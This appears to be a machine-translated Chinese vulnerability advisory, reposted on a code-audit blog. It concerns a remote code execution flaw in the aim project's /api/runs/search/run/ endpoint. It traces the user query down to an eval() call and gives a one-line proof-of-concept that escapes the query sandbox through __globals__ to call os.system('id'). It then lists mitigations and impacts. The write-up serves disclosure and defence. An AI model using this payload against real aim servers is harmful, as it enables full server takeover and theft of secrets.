摘要
- 漏洞类型:远程代码执行(RCE)
- 产品:目标
- 版本:>= 3.0.0(afaik)
- 受影响的端点:
/api/runs/search/run/ - 严重性:临界
描述
在aim项目中发现了一个关键的远程代码执行漏洞,特别是在/api/runs/search/run/端点中。该漏洞允许攻击者在服务器上执行任意代码,这可能会导致系统完全泄露。
易受弱的代码
该漏洞存在于theaimaim/web/api/runs/views.py文件中的therunrun_search_api函数中。该代码没有正确限制用户对RunView对象的访问,允许通过query参数执行任意代码。

开始分析🧐
@runs_router.get('/search/run/', response_model=RunSearchApiOut, responses={400: {'model': QuerySyntaxErrorOut}}) async def run_search_api(q: Optional[str] = '', limit: Optional[int] = 0, offset: Optional[str] = None, ...): from aim.sdk.sequence_collection import QueryRunSequenceCollection repo = get_project_repo() query = checked_query(q) repo._prepare_runs_cache() runs = QueryRunSequenceCollection(repo=repo, query=query, paginated=bool(limit), offset=offset, ...) streamer = run_search_result_streamer(runs, limit, ...) return StreamingResponse(streamer)
功能呼叫链
-
端点处理程序:
-
- 端点:
/api/runs/search/run/ - 位置:
aim/web/api/runs/views.py - 线路:
#80 - 代码:
streamer= run_search_result_streamer(runs, limit, ...)
- 端点:
-
迭代超过运行:
-
- 位置:
aim/web/api/runs/utils.py - 线路:
#258 - 功能:
run_search_result_streamer - 代码:
forrun_trace_collection, progress in runs.iter_runs(): # ...
- 位置:
-
QueryRunSequenceCollection.iter_runs():
-
- 位置:
aim/sdk/sequence_collection.py - 线路:
#249 - 方法:
iter_runs- 代码:
self.query.check(run=run_view)
- 位置:
- Query.check():
- 位置:
aim/storage/query.py - 线路:
#190 - 方法:
check - 代码:
eval(self._checker, restricted_globals, namespace)
概念验证(PoC)
以下POC演示了RCE漏洞:
run.run.dataframe().query("@run.run.__class__.__init__.__globals__['logging'].os.system('id')")
利用对RunView对象的无限制访问,允许任意代码执行,导致服务器完全泄露,包括网络访问、文件系统、秘密和云元数据。
减轻
为了缓解此漏洞,建议:
-
限制用户访问:限制用户访问DataFrame等危险对象。
-
实施适当的输入验证:确保用户输入,特别是查询中使用的输入,经过适当验证和消毒,以防止代码注入。
影响
这种RCE漏洞可能会产生严重的后果,包括但不限于:
-
网络泄露:攻击者可以执行任意命令,这可能会导致网络泄露。
-
文件系统访问:对文件系统的完全访问允许攻击者读取、写入和删除文件,从而损害系统完整性和可用性。
-
访问秘密:访问文件系统内的敏感数据,包括环境变量、秘密和潜在的云元数据。
-
数据泄露:执行任意代码的能力为攻击者提供了泄露敏感信息的手段。
代码审计3
代码审计 · 目录
上一篇CVE-2023-29055下一篇【未公开漏洞】蓝凌EIS存在多处SQL注入















![P6397 [COI2008] GLASNICI](https://img-blog.csdnimg.cn/direct/6fdd340864c34dadb3a295fddafafc39.png)



